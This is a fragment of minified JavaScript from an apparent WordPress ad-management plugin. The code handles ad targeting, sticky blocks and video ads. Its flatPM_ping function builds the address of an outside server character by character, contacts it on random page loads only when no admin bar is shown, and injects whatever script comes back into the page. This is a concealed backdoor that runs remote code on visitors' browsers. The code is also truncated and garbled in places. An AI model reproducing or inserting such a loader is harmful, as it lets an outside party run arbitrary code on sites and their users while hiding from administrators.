0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('   ');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('   ');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after(''),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"",""],thead:[1,"",""],tbody:[1,"",""],colgroup:[2,"",""],col:[3,"",""],tr:[2,"",""],td:[3,"",""],th:[3,"",""],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i. e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r=' '+a+" через "+o+' '+n+' ',i=e.once;l(t).each(function(){var e=l(this);e.wrap('');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})}; flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h1","search_all":"false"}},"ID":"3378"","html":[{"fst":"

<\/div>\"n